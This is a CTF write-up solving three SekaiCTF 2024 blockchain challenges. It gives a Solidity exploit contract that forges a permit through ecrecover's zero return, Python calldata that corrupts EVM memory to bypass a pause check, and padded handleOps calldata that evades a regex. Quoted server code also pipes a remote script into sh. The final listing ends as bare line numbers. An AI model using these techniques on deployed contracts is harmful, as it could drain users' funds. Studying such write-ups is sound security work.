Writeup for 3 Blockchain Challs in SekaiCTF 2024

Play to Earn (⭐️⭐️, 68 solves, 100pt)

During setup, a COIN contract is created where you can deposit/withdraw some ETHs into/from the contract according to the balanceOf and allowance records. Initially, 20 ether (20 * 10**18) ETHs are deposited into the COIN contract, and later 19 ether are transferred to the zero address 0x00 by the arcadeMachine, namely balanceOf[0x00] = 19 ether.

To solve this challenge, the player must to call register and have more than 13.37 ether ETHs.

Note that a permit function exists where the owner can allow the spender to spend the value amount of the owner’s balance before the deadline by providing a valid signature.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(
            abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
        );
        bytes32 h = _hashTypedDataV4(structHash);
        address signer = ecrecover(h, v, r, s);
        require(signer == owner, "invalid signer");
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

Since the majority of the balance belongs to 0x00, it occurs to me that there should be some way that we can get an allowance from 0x00.

The vital check in the permit function is that the signature signer must be equal to owner.

If we want to get an allowance from 0x00, the owner should be set to 0x00, so how can the signer, which is the return value of ecrecover(h, v, r, s), also be set to 0x00?

A quick look into the Solidity documentation gives me the answer:

QQ_1724685226556

The built-in ecrecover function returns 0x00 on error.

Thus, what we need to do is just set owner to 0x00 and provide a signature destined to fail.

Steps to attack:

  1. Call the register function of Setup contract so the player address is not 0x00 anymore.
  2. Call the permit function of Coin contract by providing a valid signature and get a max allowance from 0x00.
  3. Call the transferFrom function of Coin contract to transfer the 19 ether balance from 0x00 to our player address.
  4. Call the withdraw function of Coin contract to extract 19 ETH to our player address.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity 0.8.25;

import { Coin } from "./Coin.sol";
import { Setup } from "./Setup.sol";
import { ArcadeMachine } from "./ArcadeMachine.sol";


contract Solve {
    Setup public setup;
    Coin public coin;
    ArcadeMachine public arcadeMachine;

    constructor(address _setup, address payable _coin) {
        setup = Setup(_setup);
        coin = Coin(_coin);

        setup.register();

        address owner = address(0x0);
        address spender = address(this);
        uint256 value = 19 ether;
        uint256 deadline = type(uint256).max;
        uint8 v = 0x0;
        bytes32 r = "";
        bytes32 s = "";

        coin.permit(owner, spender, value, deadline, v, r, s);

        coin.transferFrom(owner, spender, value);

        coin.withdraw(value);
    }

    fallback() external payable { }

}

The flag is SEKAI{0wn3r:wh3r3_4r3_mY_c01n5_:<}

ZOO (⭐️⭐️⭐️⭐️⭐️, 13 solves, 326pt)

TLDR:

DEL_ANIMAL enables us to shift one memory slot forward and the animal_index field of the 0th animal will lay out at the 7th pointer of the array. So we can set the 7th pointer at our will. EDIT_TYPE enables us to write where the pointer points to.

To modify the 0xa0 memory slot from 0x31b to 0x323:

  1. ADD_ANIMAL(…)
  2. DEL_ANIMAL(0x00)
  3. EDIT_TYPE(7, 0x323)

This bypasses the whenNotPaused modifier check.

EDIT_NAME enables us to write beyond the boundary to change the animal_index field of the next animal struct.

To set one animal_index field to be 5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299 so that the calculated animal_addr can be 0:

  1. EDIT_NAME(0, 32bytes + hex"5fd4…5299")

This sets the animal_index field of the second animal to be 0x5fd4...5299, thus resulting in SSTORE(1,1) which sets isSolved to be true.


A Zoo contract is deployed and we are required to set its bool isSolved storage slot to be true.

forge inspect src/ZOO.sol:ZOO storageLayout command gives us the inspection of the Zoo contract storage layout:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ forge inspect src/ZOO.sol:ZOO storageLayout
{
  "storage": [
    {
      "astId": 1495,
      "contract": "src/ZOO.sol:ZOO",
      "label": "_paused",
      "offset": 0,
      "slot": "0",
      "type": "t_bool"
    },
    {
      "astId": 3152,
      "contract": "src/ZOO.sol:ZOO",
      "label": "isSolved",
      "offset": 0,
      "slot": "1",
      "type": "t_uint256"
    },
    {
      "astId": 3156,
      "contract": "src/ZOO.sol:ZOO",
      "label": "animals",
      "offset": 0,
      "slot": "2",
      "type": "t_array(t_struct(AnimalWrapper)3162_storage)dyn_storage"
    }
  ],
  ...
}

Since the Zoo contract inherits from the Pausable contract which has one bool _pause storage variable, the bool isSolved storage variable is located at slot 1.

During setup, the Zoo contract is initialized with plenty of animal objects that are stored in the animals array, and the _pause flag is set to be true meaning that the status is paused and the later whenNotPaused modifier will revert the execution.

Two functions are provided in the Zoo contract:

  1. function commit(bytes memory data) internal whenNotPaused can only be called internally if the _pause flag is set to false.
  2. fallback() external payable is for outside calling.

So the entry point should be the fallback function.

Both the commit and fallback functions are implemented using low-level Solidity Inline Assembly .

Some prerequisites for EVM opcodes and EVM memory layout are needed to understand what these 2 functions are doing.

To mention a few, the memory layout is aligned to 0x20-byte slots. The first 4 slots 0x00~0x80 are reserved for:

  1. 0x00~0x40: store values for hash function
  2. 0x40~0x60: point to the offset where there’s free memory
  3. 0x60~0x80: zero slot

The 0x40~0x60 memory slot (free memory pointer) is vital here to understand the assembly codes for being utilized several times to allocate free memory slots.

The free memory that can be used during execution starts from the 0x80~0xa0 slot and then grows larger.


The deployed bytecode of the ZOO contract can be acquired as follows.

1
2
$ forge inspect src/ZOO.sol:ZOO deployedBytecode
0x608060405260043610610037575f3560e01c80635c975abb1461029457806364d98f6e146102ba578063998dd3ca146102dd5761003e565b3661003e57005b6040805160018082528183019092525f91816020015b61045681526020019060019003908161005457905050905061031b815f815181106100815761008161045e565b602002602001019067ffffffffffffffff16908167ffffffffffffffff1681525050606060405136808252602080820660200382010180830160405250805f6020840137604051925061012083016040525f5b81811015610269578281016020015160019091019060f81c806010811461010c57602081146101945760308114610221575050610269565b8483016020015160019093019260f81c6007811115610129575f80fd5b858401602081015160228201516040805160f092831c8082526004909901989390921c93849160249091019083015e82870196506020830660200383019250826020820152604083018101604052808460200260208c01015250505050855160018101875250610262565b8483016020015160019093019260f81c60078111156101b1575f80fd5b602090810287018101518685019091015160019094019360f81c80602181146101e1576022811461020357610219565b878601602081015160029097019660f01c908190602201604086015e50610219565b602086890181015160f01c908401526002909501945b505050610262565b8483016020015160019093019260f81c600781111561023e575f80fd5b602090810261010081900391908801908101908290604001825e505085515f190186525b50506100d4565b50505061029281835f815181106102825761028261045e565b602002602001015163ffffffff16565b005b34801561029f575f80fd5b505f5460ff1660405190151581526020015b60405180910390f35b3480156102c5575f80fd5b506102cf60015481565b6040519081526020016102b1565b3480156102e8575f80fd5b506102fc6102f7366004610472565b6103fb565b604080516001600160a01b0390931683526020830191909152016102b1565b610323610431565b5f81515f5b818110156103f5575f80604051856020880101518051935060208101925050815160208701965060025f5260205f2084600202810154600186600202830101546032811115610375575f80fd5b630a1b0b1f60e11b85523360048601525f8560248183865af1506330de110d60e11b85526020858181855afa508451637f2ac99560e11b86525f1901600486015260406024860152604485018490528386606487015e5f856084875f865af150600181016001886002028501015550505050505050600181019050610328565b50505050565b6002818154811061040a575f80fd5b5f918252602090912060029091020180546001909101546001600160a01b03909116915082565b5f5460ff16156104545760405163d93c066560e01b815260040160405180910390fd5b565b610454610489565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610482575f80fd5b5035919050565b634e487b7160e01b5f52605160045260245ffdfea2646970667358221220ad567cc95a3786fb1c9e1ca67c4f484c02aba9d3d406970475678ac851c539ec64736f6c63430008190033

Paste this bytecode into https://bytegraph.xyz/ gives us a visual CFG view:

QQ_1724776919336

One can also debug the execution step by step on the EVM playground .

QQ_1724777534482

In the disassembled opcodes, at the beginning is the logic for the dispatcher where the first 4 bytes of calldata are extracted and compared with different known 4-byte function signatures. If any known function signature matches, the execution will jump to the corresponding position. And if no match is found, the execution fall backs to the default snippet, namely the fallback function.


Since the entry point in this challenge can only be the fallback function, we will first focus on it.

Now, let’s go through the fallback function snippet by snippet.

1
2
3
4
        function(bytes memory)[] memory functions = new function(
            bytes memory
        )[](1);
        functions[0] = commit;

From the view of Solidity source code, we can see that firstly an array of size 1 where each entry is a function pointer is initialized. Then, the array is populated with one element that points to the offset where the commit function starts.

From the view of the disassembled opcodes, the fallback function is located at offset 0x003e and the relevant part of these two lines of source code is shown as below.

QQ_1724844177317

If we execute the opcodes step by step, we can see that some memory slots are written.

The function array functions are located at memory[0x80:0xc0] (2 slots), where the first slot is for the length of the array (1) and the remaining array elements/slots (here only 1 left) are initialized with an offset 0x456. The interesting thing here is that the default initialization value for the function pointer is 0x456 (points to the start of the panic function) instead of 0x0, which helps the execution to stop gracefully if a call is made to an uninitialized function pointer.

QQ_1724844529353

Later, the first element in the array is assigned an offset 0x31b, which is the start point of the commit function, corresponding to the source code functions[0] = commit.

So now the memory layout is allocated as below:

image-20240829122611667

Flow the path where the function pointer is used, we can find a internal call at the end of the fallback function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    fallback() external payable {
        function(bytes memory)[] memory functions = new function(
            bytes memory
        )[](1);
        functions[0] = commit;
        
        // ...
        
		functions[0](local_animals);
    }

Flow the execution flow of the disassembled opcodes, we arrive at a JUMP at offset 0x291.

internal_call

We can set a breakpoint at the offset 0x291, run, and continue execution until hitting the breakpoint.

QQ_1724844802145

Now the top stack is exactly the offset 0x31b, meaning that the JUMP opcode will jump to the start point of the commit function (at offset 0x31b) and continue execution there, and this is how the internal call is made.

Step back several opcodes, we can find that the offset 0x31b is loaded from mem[0xa0, 0xc0].

QQ_1724859554587

Here is the key point.

If we somehow can modify the value stored at mem[0xa0, 0xc0], then we can arbitrarily control where the execution will jump to.

Back to the setup procedure of the ZOO contract, we know that the status is set to pause and any call to the commit function will be reverted by the modifier whenNotPaused.

Since there’s no sstore opcode in the fallback function, the only one is located at the end of the commit function, we have no way to change the 0 slot _paused from false to true. To bypass the whenNotPaused modifier, we need to find some way to modify mem[0xa0, 0xc0] and jump past the modifier.

The source code of the whenNotPaused is shown as below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    modifier whenNotPaused() {
        _requireNotPaused();
        _;
    }
    	
    // ...
    
	function _requireNotPaused() internal view virtual {
        if (paused()) {
            revert EnforcedPause();
        }
    }

Move on to the opcodes of the commit function. Two JUMPDEST 0x323 and 0x431 are pushed into the stack. The execution first jumps to 0x431 where is the logic of the whenNotPaused modifier. It loads the 0 slot _paused and checks whether it is zero or not, if zero then continues to execute the logic defined in the commit function body at the right branch, otherwise revert at the left branch.

QQ_1724860651048

Therefore, to bypass the modifier check, we need to modify the JUMPDEST to 0x323. Only in this way, we won’t be reverted by the modifier and can execute the logic of the commit function where we maybe can do something to solve this challenge.

The goal is to change the value at mem[0xa0, 0xc0] to 0x323.


Move on to the assembly block of the fallback function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
fallback() external payable {
    // ...

    bytes memory local_animals;
    assembly {
        let arr := mload(0x40)
        let size := calldatasize()
        mstore(arr, size)
        let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)
        mstore(0x40, add(arr, size_align))
        calldatacopy(add(arr, 0x20), 0, size)

        // ...
    }
    // ...
}

From the assembly code above, we can read that calldata are loaded into the memory. The calldatasize occupies the first slot, then is the calldata.

If the length of calldata is <=20 bytes long, the memory layout will be:

image-20240829122700976

Next, a piece of memory used for the local_animals is allocated:

1
2
local_animals := mload(0x40)
mstore(0x40, add(local_animals, 0x120))

The memory layout becomes:

image-20240829122913148

If we read more about how the local_animals variable is used, we’ll learn that it’s an array of size 8 where each element is a pointer to the actual Animal(uint256 animal_index, uint256 name_length, string name) struct. In the memory layout, the first slot is for the counter of how many animals are stored and the next 8 slots are for the pointers to the actual Animal struct.

Later, the calldata stored in memory is read byte by byte and parsed as three ops:

  1. ADD_ANIMAL (0x10)
  2. EDIT_ANIMAL (0x20)
  3. DEL_ANIMAL (0x30)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for {
    let i := 0
} lt(i, size) {

} {
    let op := mload(add(add(arr, 0x20), i))
    op := shr(0xf8, op)
    i := add(i, 1)

    switch op
    case 0x10 {
        // add animals...
    }
    case 0x20 { 
        // edit animals...
    }
    case 0x30 {
        // del animals...
    }
    default {
        break
    }
}

For the ADD_ANIMAL operation, several operation parameters are extracted from the following calldata. Then a temp variable is allocated to point to the next free memory, and an Animal struct is stored there. At last, the offset to the temp memory is stored at the corresponding pointer slot, and the animals_count increments 1.

The operation parameters are:

op (0x10) idx (<=7) name_length animal_index name
1 byte 1 byte 2 bytes 2 bytes name_length bytes

Illustrated in Python:

1
2
3
4
def add_animal(idx, animal_index, name, name_length=None):
    if not name_length:
        name_length = len(name)
    return bytes([0x10, idx]) + name_length.to_bytes(2, 'big') + animal_index.to_bytes(2, 'big') + name

If we add an animal add_animal(0, 0x1234, bytes.fromhex("DEADBEAF")) by sending to the contract with calldata 0x100000041234deadbeaf, the memory layout becomes:

image-20240829123106031

Note that the last field name of the Animal struct is variable-length and may occupy more than 1 slot.

For the EDIT_ANIMAL operation, it supports two fields to modify:

  1. EDIT_NAME (0x21): modify the third field ( name)
  2. EDIT_TYPE (0x22): modify the second slot (name_length)

The operation parameters are:

op (0x20) idx (<=7) EDIT_TYPE (0x21) name_length Name
1 byte 1 byte 1 byte 2 bytes name_length bytes
op (0x20) idx (<=7) EDIT_TYPE (0x22) new_type
1 byte 1 byte 1 byte 2 bytes

Illustrated in Python:

1
2
3
4
5
6
7
def edit_animal_name(idx, new_name, new_name_length=None):
    if not new_name_length:
        new_name_length = len(new_name)
    return bytes([0x20, idx, 0x21]) + new_name_length.to_bytes(2, 'big') + new_name

def edit_animal_type(idx, new_type):
    return bytes([0x20, idx, 0x22]) + new_type.to_bytes(2, 'big')

Note that when modifying the name field, the code does not check the name_length and may copy more than 1 slot to the third slot, which is a memory overflow that can be exploited by us.

It does not update the seconds name_length field to the new name_length either.

If we add one animal and modify its name to 0xFF*0x40 with calldata 0x100000041234deadbeaf2000210040ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, the memory layout becomes:

image-20240829123329653

For the DEL_ANIMAL operation, it will remove one pointer slot from the local_animals array.

The operation parameters are:

op (0x30) idx (<=7)
1 byte 1 byte

Illustrated in Python:

1
2
def del_animal(idx):
    return bytes([0x30, idx])

The way it removes the specified idx pointer slot is by moving the next (8 - idx) slots one slot forward.

Here, it moves more than 1 slot than expected, which allows us to set the 7th pointer to any value we want.

If we add 1 animal and delete that with calldata 0x100000041234deadbeaf3000, the memory layout becomes:

image-20240829123454191

Note that the 7th pointer has been changed to the animal_index field of the 0th animal.

The key point here is that if we are enabled to control the pointer, we can use EDIT_TYPE to write to any memory slot we want.

Say we want to achieve the goal of modifying mem[0xa0:0xc0] to 0x323, we can set the 7th pointer to be 0xa0-0x20=0x80 and use EDIT_TYPE, which will edit the second slot of where the pointer points to, to set that memory slot to be 0x323.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
def add_animal(idx, animal_index, name, name_length=None):
    if not name_length:
        name_length = len(name)
    return bytes([0x10, idx]) + name_length.to_bytes(2, 'big') + animal_index.to_bytes(2, 'big') + name

def edit_animal_name(idx, new_name, new_name_length=None):
    if not new_name_length:
        new_name_length = len(new_name)
    return bytes([0x20, idx, 0x21]) + new_name_length.to_bytes(2, 'big') + new_name

def edit_animal_type(idx, new_type):
    return bytes([0x20, idx, 0x22]) + new_type.to_bytes(2, 'big')

def del_animal(idx):
    return bytes([0x30, idx])


calldata = b""
calldata += add_animal(0, 0xa0-0x20, bytes.fromhex("DEADBEAF"))
calldata += del_animal(0)
calldata += edit_animal_type(7, 0x323)
print("0x" + calldata.hex())

With calldata 0x100000040080deadbeaf30002007220323, the memory layout becomes:

image-20240829123712409

Thus, we have successfully modified the mem[0xa0:0xc0] to 0x323, bypassing the whenNotPaused identifier check and can continue the logic defined in the commit function.


Have a look at the commit function, we can see that at the end there’s a sstore opcode. This is our only way to set slot 1 isSolved to be true.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function commit(bytes memory data) internal whenNotPaused {
    assembly {
        let counter := 0
        let length := mload(data)

        for {
            let i := 0
        } lt(i, length) {
            i := add(i, 1)
        } {
            let idx
            let name

            let memPtr := mload(0x40)

            let ptr := mload(add(add(data, 0x20), counter))
            idx := mload(ptr)
            name := add(ptr, 0x20)
            let name_length := mload(name)
            counter := add(counter, 0x20)

            mstore(0x00, animals.slot)
            let slot_hash := keccak256(0x00, 0x20)
            let animal_addr := sload(add(slot_hash, mul(2, idx)))
            let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))
            
            // several calls are made
            
            sstore(
                add(add(slot_hash, mul(2, idx)), 1),
                add(animal_counter, 1)
            )
		}
    }
}

The slot to be set is add(add(slot_hash, mul(2, idx)), 1), and our isSolved slot is 1. So add(slot_hash, mul(2, idx)) needs to be 0, which means that slot_hash + 2*idx should be 0.

The slot_hash is deterministically calculated by keccak256(animals.slot). From the storageLayout, we learn that the animals storage variable is located in slot 2. So the slot_hash can be calculated beforehand and the should-be idx can also be calculated.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from Crypto.Hash import keccak


animals_slot = 2

k = keccak.new(digest_bits=256)
k.update((animals_slot).to_bytes(0x20, 'big'))
slot_hash = k.hexdigest()
print(slot_hash)
# 405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

two_mul_idx = -int(slot_hash, 16) % 2**256 # Luckily, two_mul_idx is an even number here
idx = two_mul_idx // 2
print(hex(idx))
# 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299

If we somehow can set the idx to be 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299, then add(slot_hash, mul(2, idx)) will be 0 and the sstore opcode will store the value at the slot 1.

Note that two variables animal_addr and animal_counter are loaded from slot 0 (_paused) and slot 1 (isSolved) respectively, both of which are 0. And the several calls made later will fail and return (but not revert). Finally, the value to be stored at the slot 1 will be add(animal_counter, 1), which is exactly 1/true.

The commit function reads every pointer in the local_animals array and tries to do something with that Animal struct. The idx variable is the first field of the Animal struct. Though the animal_index is only 2 bytes long when we add an animal, we can exploit the name memory overflow vulnerability to set the idx of the next Animal struct to any value we want, i.e. the magic number 0x5fd4...5299.

Another method to set the idx to the magic number exists where the animal_counts field is exploited. Since every time we add an Animal struct to some pointer the animal_counts field will increment 1, we can repeat adding animals to one pointer and increment the animal_counts field to be more than 7. In the loop of the commit function, it will read over from the 8 pointers. If the animal_counts increment to 9, it will read the first field of the 0th animal as a pointer. So we can set up the memory layout and make the idx value to be that magic number.

The code to exploit the memory overflow is shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def add_animal(idx, animal_index, name, name_length=None):
    if not name_length:
        name_length = len(name)
    return bytes([0x10, idx]) + name_length.to_bytes(2, 'big') + animal_index.to_bytes(2, 'big') + name

def edit_animal_name(idx, new_name, new_name_length=None):
    if not new_name_length:
        new_name_length = len(new_name)
    return bytes([0x20, idx, 0x21]) + new_name_length.to_bytes(2, 'big') + new_name

def edit_animal_type(idx, new_type):
    return bytes([0x20, idx, 0x22]) + new_type.to_bytes(2, 'big')

def del_animal(idx):
    return bytes([0x30, idx])


calldata = b""
calldata += add_animal(0, 0xa0-0x20, bytes.fromhex("DEADBEAF"))
calldata += add_animal(1, 0, bytes.fromhex("CAFEEFAC"))

end = del_animal(0) + edit_animal_type(7, 0x323)
calldata += edit_animal_name(0, end + b"\x00"*(0x20-len(end)) + bytes.fromhex("5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299"))

print("0x" + calldata.hex())
# 0x100000040080deadbeaf100100040000cafeefac200021004030002007220323000000000000000000000000000000000000000000000000005fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299

Send this calldata to the contract, and set 3 breakpoints at:

  1. 0x35e (animal_addr := SLOAD(...))
  2. 0x368 (animal_counter := SLOAD(...))
  3. 0x3e3 (SSTORE(...))

image-20240829131632883

image-20240829131656418

image-20240829131717213

image-20240829131742047

Yes! We have successfully set the isSolved slot to be true and solved this challenge.

The flag is: SEKAI{super-duper-memory-master-:3}

SURVIVE (⭐️⭐️⭐️⭐️, 5 solves, 423pt)

During setup, a ERC-4337 Abstract Account system is created and we are required to have more than 19 ether balance to win.

Some prerequisites for the Abstract Account are required to understand this challenge.

Learning resources:

To be short, an abstract account is an on-chain contract that manages assets. Users can send their ops/txs off-chain to the bundlers and the bundlers will help to send those on-chain. However, the bundlers pay the transaction gas fee. To compensate the bundlers, an Entrypoint contract is used to relay transactions between bundlers and accounts, charge gas fees from the accounts or paymasters, and give back to the beneficiary (bundlers). Paymasters are contracts that will pay gas fees on behalf of the accounts.

In this challenge, we, the _challenger, have a paymaster that initially deposits 20 ether ETHs to the Entrypoint contract. We can just withdraw that 20 ETHs from the Entrypoint contact by calling paymaster.withdrawTo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Setup.sol";
import "../src/SimplePaymaster.sol";
import { SimpleAccountFactory } from "@account-abstraction/contracts/samples/SimpleAccountFactory.sol";
import { SimpleAccount } from "@account-abstraction/contracts/samples/SimpleAccount.sol";

import { SenderCreator } from "@account-abstraction/contracts/core/SenderCreator.sol";
import { EntryPoint } from "@account-abstraction/contracts/core/EntryPoint.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";


contract ContractTest is Test {
    Setup public s;
    SimplePaymaster public paymaster;
    SimpleAccountFactory public accountFactory;
    address public account;
    EntryPoint public entryPoint;


    address player = address(0x...);
    uint256 playerKey = 0x...;
    
    function setUp() public {
        vm.createSelectFork(vm.rpcUrl("https://survive.chals.sekai.team/{uuid}"));
        s = Setup(0x...);
        paymaster = s.paymaster();
        accountFactory = s.accountFactory();
        account = s.account();
        entryPoint = EntryPoint(payable(address(paymaster.entryPoint())));
    }

    function testWithdraw() public {
        console.log(address(entryPoint).balance);
        console.log(address(paymaster).balance);
        console.log(address(player).balance);

        vm.startPrank(player);
        paymaster.withdrawTo(payable(player), 19.5 ether);

        console.log(address(entryPoint).balance);
        console.log(address(paymaster).balance);
        console.log(address(player).balance);

        require(s.isSolved() == true, "Exploit failed");
    }
}

Run forge test -vv and the testWithdraw test function will pass.

However, as _challenger, we don’t have any ETH to send this transaction on-chain. We must find some way to get some ETHs to the _challenger address.

What we can do is send our ops to the server, and the server will handle our ops.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# eth_sandbox/laucher.py#L149-195
def new_bundle_action() -> Action:
    def action() -> int:
        challenge = Challenge.generate_challenge(5000)
        print(f"curl -sSfL https://pwn.red/pow | sh -s {str(challenge)}")
        solution = input("solution please: ")
        is_valid = challenge.check(solution)
        if not is_valid:
            print("invalid solution!")
            return 1
        
        uuid = check_uuid(input("uuid please: "))
        if not uuid:
            print("invalid uuid!")
            return 1
        try:
            with open(f"/tmp/{uuid}", "r") as f:
                data = json.loads(f.read())
        except:
            print("bad uuid")
            return 1
        
        print("expected beneficiary: 0x000000000000000000000000000000000000cafE")
        encoded = input("encoded call data for invoking handleOps() (hex): ")

        data = requests.post(
            f"http://127.0.0.1:{HTTP_PORT}/handle",
            headers={
                "Authorization": f"Bearer {get_shared_secret()}",
                "Content-Type": "application/json",
            },
            data=json.dumps(
                {
                    "uuid": uuid,
                    "data": encoded,
                }
            ),
        ).json()

        if data["ok"] == False:
            print(data["message"])
            return 1
        
        print("tx status:", data["status"])
        print("tx hash:", data["tx_hash"])
        return 0
    
    return Action(name="handle UserOperations", handler=action)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# eth_sandbox/server.py#L209-254
@app.route("/handle", methods=["POST"])
@cross_origin()
def handle() -> dict:
    if not is_request_authenticated(request):
        return {
            "ok": False,
            "error": "nice try",
        }
    body = request.get_json()

    uuid = body["uuid"]
    if not has_instance_by_uuid(uuid):
        print(f"no instance of {uuid}")
        return {
            "ok": False,
            "error": "not_running",
            "message": "No instance is running!",
        }

    encoded = body["data"]
    if not encoded.lower().startswith("0x765e827f"):
        print(f"invalid selector: {encoded[:10].lower()}")
        return {
            "ok": False,
            "error": "invalid_selector",
            "message": "Invalid selector!",
        }

    # replace it anyway :D
    beneficiary = "000000000000000000000000000000000000cafE"
    encoded = re.sub(r"(?<=400{24}).{40}", beneficiary, encoded, 1)

    receipt = send_user_operations(get_instance_by_uuid(uuid), encoded)
    if receipt is None:
        print(f"failed to send transaction for {uuid}")
        return {
            "ok": False,
            "error": "failed_transaction",
            "message": "Failed to send transaction!",
        }

    return {
        "ok": True,
        "status": receipt["status"],
        "tx_hash": receipt["transactionHash"].hex(),
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# eth_sandbox/server.py#L115-157
def send_user_operations(node_info: dict, data: str):
    uuid = node_info["uuid"]
    mnemonic = node_info["mnemonic"]
    deployer_account = Account.from_mnemonic(mnemonic, account_path="m/44'/60'/0'/0/0")
    deployer_addr: str = deployer_account.address
    setup_addr = calc_create_address(deployer_addr, 0)

    web3 = Web3(
        Web3.HTTPProvider(
            f"http://127.0.0.1:{HTTP_PORT}/{uuid}",
            request_kwargs={
                "headers": {
                    "Authorization": f"Bearer {get_shared_secret()}",
                    "Content-Type": "application/json",
                },
            },
        )
    )

    paymaster_selector = web3.keccak(text="paymaster()")[:4].hex()
    paymaster = decode_data(
        web3.eth.call({"to": setup_addr, "data": paymaster_selector}).hex(),
        ["address"],
    )
    entrypoint_selector = web3.keccak(text="entryPoint()")[:4].hex()
    entrypoint = decode_data(
        web3.eth.call({"to": paymaster, "data": entrypoint_selector}).hex(),
        ["address"],
    )

    try:
        rcpt = sendTransaction(
            web3,
            {
                "from": deployer_addr,
                "to": entrypoint,
                "data": data,
            },
            ignore_status=True,
        )
        return rcpt
    except Exception:
        return None

From the source code above, we can see that after getting the encoded (calldata) from us, the server will replace the beneficiary slot to 0xcafE, and then send a transaction to entrypoint to call the handleOps function with our calldata.

Here, if our ops get validated and executed, the gas fee of this execution will be sent to the beneficiary.

The calldata after the first 4-byte function signature looks like this:

QQ_1724593895928

The regex pattern to replace the beneficiary is (?<=400{24}).{40}, which matches 40 followed by 24 zeros and replaces the following 40 bytes with 0xcafE.

image-20240829162015047

Actually, this regex replacement is quite easy to bypass.

We can encode some more junk data to make the pointer to be other values instead of 0x40.

1
2
3
4
5
6
bytes memory handleOpCalldata = abi.encodeWithSelector(
    0x765e827f,
    ops,
    payable(player),
    payable(player),
);

Encoding one more parameter is one way to make the pointer to be 0x60 instead of 0x40. However, the regex pattern may match something else in the calldata. So a safe way to bypass the regex replacement is to encode two more parameters to let the regex replacement happen on the junk data.

1
2
3
4
5
6
7
bytes memory handleOpCalldata = abi.encodeWithSelector(
    0x765e827f,
    ops,
    payable(player),
    0x40,
    0x000000000000000000000000000000000000cafE
);

The calldata after the first 4-byte function signature will look like this:

image-20240829162925454

This helps us to bypass the regex replacement and set the beneficiary address to any address we want. Thus, we can send some ETHs to the _challenger address by making it the beneficiary.

Another way to send some ETHs to the _challenger address is transferring from an owned account with non-zero balance on mainnet to the _challenger account in the forked chain. This can be done because the challenge is created by forking from the mainnet and all the states in the mainnet are kept in the forked chain. Keep caution that there’s a chance that the author can replay your transaction on mainnet and steal your money from that transaction, so just send a small amount of ETHs to make sure the _challenger can successfully make a call.

Yet another idea occurred to me during the CTF was that maybe we could send a transaction with gas price set to 0. I read about it a few days ago that users might send a transaction for free in blockchain. To prove the concept, I run cast send [paymaster address] "withdrawTo(address,uint256)" [_challenger address] 19000000000000000000 --rpc-url ... --private-key ... --gas-price 0 , but it gave me error: ValueError: {'code': -32003, 'message': 'max fee per gas less than block base fee'}. It turned out that the minimum gas fee a transaction required was more than 0, so we couldn’t send a transaction for free.

Now that the _challenger has some ETHs, we can send a transaction to call paymaster.withdrawTo to withdraw 19 ETHs from the Entrypoint contract.

The local forge test function is implemented as below:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
